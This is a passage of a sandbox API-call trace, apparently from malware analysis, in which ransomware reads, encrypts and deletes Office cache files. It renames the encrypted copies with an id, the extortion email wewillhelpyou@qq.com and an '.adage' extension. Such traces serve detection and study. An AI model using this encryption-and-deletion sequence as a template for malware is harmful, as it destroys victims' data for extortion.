dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.111] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d8860) returned 1 [0054.111] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.111] ReadFile (in: hFile=0x190, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x5b2, lpOverlapped=0x0) returned 1 [0054.113] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x5c0) returned 1 [0054.113] WriteFile (in: hFile=0x174, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x5c0, lpOverlapped=0x0) returned 1 [0054.114] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d8820) returned 1 [0054.114] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.114] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0054.114] CryptDestroyKey (hKey=0x4d8820) returned 1 [0054.114] WriteFile (in: hFile=0x174, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0054.114] CryptDestroyKey (hKey=0x4d8860) returned 1 [0054.114] CloseHandle (hObject=0x190) returned 1 [0054.114] CloseHandle (hObject=0x174) returned 1 [0054.116] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\OSMUXMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e2-0409-0000-0000000ff1ce}-c\\osmuxmui.xml")) returned 1 [0054.117] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0054.117] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e2-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.117] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2454) returned 1 [0054.117] CloseHandle (hObject=0x174) returned 1 [0054.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e2-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0054.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-00e2-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0054.118] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e2-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.118] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.118] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.118] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-00e2-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.118] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d8860) returned 1 [0054.118] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.118] ReadFile (in: hFile=0x174, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x996, lpOverlapped=0x0) returned 1 [0054.120] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x9a0, dwBufLen=0x9a0 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x9a0) returned 1 [0054.120] WriteFile (in: hFile=0x190, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x9a0, lpOverlapped=0x0) returned 1 [0054.121] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d8820) returned 1 [0054.121] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.121] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0054.121] CryptDestroyKey (hKey=0x4d8820) returned 1 [0054.121] WriteFile (in: hFile=0x190, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0054.121] CryptDestroyKey (hKey=0x4d8860) returned 1 [0054.121] CloseHandle (hObject=0x174) returned 1 [0054.121] CloseHandle (hObject=0x190) returned 1 [0054.122] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-00E2-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-00e2-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 1 [0054.123] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0054.123] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.124] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=336313) returned 1 [0054.124] CloseHandle (hObject=0x190) returned 1 [0054.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\branding.xml")) returned 0x2020 [0054.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\branding.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\branding.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0054.124] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.124] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.125] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.125] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\branding.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\branding.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.125] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d8860) returned 1 [0054.125] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.125] ReadFile (in: hFile=0x190, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x521b9, lpOverlapped=0x0) returned 1 [0054.131] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x521c0, dwBufLen=0x521c0 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x521c0) returned 1 [0054.134] WriteFile (in: hFile=0x174, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x521c0, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x521c0, lpOverlapped=0x0) returned 1 [0054.141] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d88a0) returned 1 [0054.141] CryptSetKeyParam (hKey=0x4d88a0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.141] CryptEncrypt (in: hKey=0x4d88a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0054.141] CryptDestroyKey (hKey=0x4d88a0) returned 1 [0054.141] WriteFile (in: hFile=0x174, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0054.141] CryptDestroyKey (hKey=0x4d8860) returned 1 [0054.141] CloseHandle (hObject=0x190) returned 1 [0054.141] CloseHandle (hObject=0x174) returned 1 [0054.145] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\branding.xml")) returned 1 [0054.148] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0054.148] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.149] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5275) returned 1 [0054.149] CloseHandle (hObject=0x174) returned 1 [0054.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\officemui.xml")) returned 0x2020 [0054.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\officemui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0054.149] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.149] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.149] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.149] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\officemui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.149] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d8860) returned 1 [0054.149] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.150] ReadFile (in: hFile=0x174, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x149b, lpOverlapped=0x0) returned 1 [0054.302] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x14a0, dwBufLen=0x14a0 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x14a0) returned 1 [0054.302] WriteFile (in: hFile=0x190, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x14a0, lpOverlapped=0x0) returned 1 [0054.303] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d88e0) returned 1 [0054.303] CryptSetKeyParam (hKey=0x4d88e0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.303] CryptEncrypt (in: hKey=0x4d88e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0054.303] CryptDestroyKey (hKey=0x4d88e0) returned 1 [0054.303] WriteFile (in: hFile=0x190, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0054.303] CryptDestroyKey (hKey=0x4d8860) returned 1 [0054.303] CloseHandle (hObject=0x174) returned 1 [0054.303] CloseHandle (hObject=0x190) returned 1 [0054.305] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\officemui.xml")) returned 1 [0054.306] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0054.306] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.306] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=8483) returned 1 [0054.306] CloseHandle (hObject=0x190) returned 1 [0054.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0054.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0054.307] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.307] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.307] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.307] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\Setup.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\setup.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.307] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d8860) returned 1 [0054.307] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.307] ReadFile (in: hFile=0x190, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x2123, lpOverlapped=0x0) returned 1 [0054.309] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x2130, dwBufLen=0x2130 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x2130) returned 1 [0054.309] WriteFile (in: hFile=0x174, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x2130, lpOverlapped=0x0) returned 1 [0054.310] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d88e0) returned 1 [0054.310] CryptSetKeyParam (hKey=0x4d88e0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.310] CryptEncrypt (in: hKey=0x4d88e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0054.310] CryptDestroyKey (hKey=0x4d88e0) returned 1 [0054.310] WriteFile (in: hFile=0x174, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0054.310] CryptDestroyKey (hKey=0x4d8860) returned 1 [0054.310] CloseHandle (hObject=0x190) returned 1 [0054.310] CloseHandle (hObject=0x174) returned 1 [0054.312] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0115-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0115-0409-0000-0000000ff1ce}-c\\setup.xml")) returned 1 [0054.313] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0054.313] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\office64mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.315] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1910) returned 1 [0054.315] CloseHandle (hObject=0x174) returned 1 [0054.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\office64mui.xml")) returned 0x2020 [0054.315] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\office64mui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0054.315] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\office64mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.315] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.315] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0054.315] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0116-0409-1000-0000000FF1CE}-C\\Office64MUI.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\msocache\\all users\\{90160000-0116-0409-1000-0000000ff1ce}-c\\office64mui.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0054.315] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d8860) returned 1 [0054.315] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.315] ReadFile (in: hFile=0x174, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x776, lpOverlapped=0x0) returned 1 [0054.317] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x780, dwBufLen=0x780 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x780) returned 1 [0054.317] WriteFile (in: hFile=0x190, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x780, lpOverlapped=0x0) returned 1 [0054.318] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d88e0) returned 1 [0054.318] CryptSetKeyParam (hKey=0x4d88e0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0054.318] CryptEncrypt (in: hKey=0x4d88e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0054.318] CryptDestroyKey (hKey=0x4d88e0) returned 1 [0054.318] WriteFile (in: hFile=0x190, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0054.318] CryptDestroyKey (hKey=0x4d8860) returned 1 [0054.318] CloseHandle (hObject=0x174) returned 1 [0054.318] CloseHandle (hObject=0x190) returned 1 [0054.319] 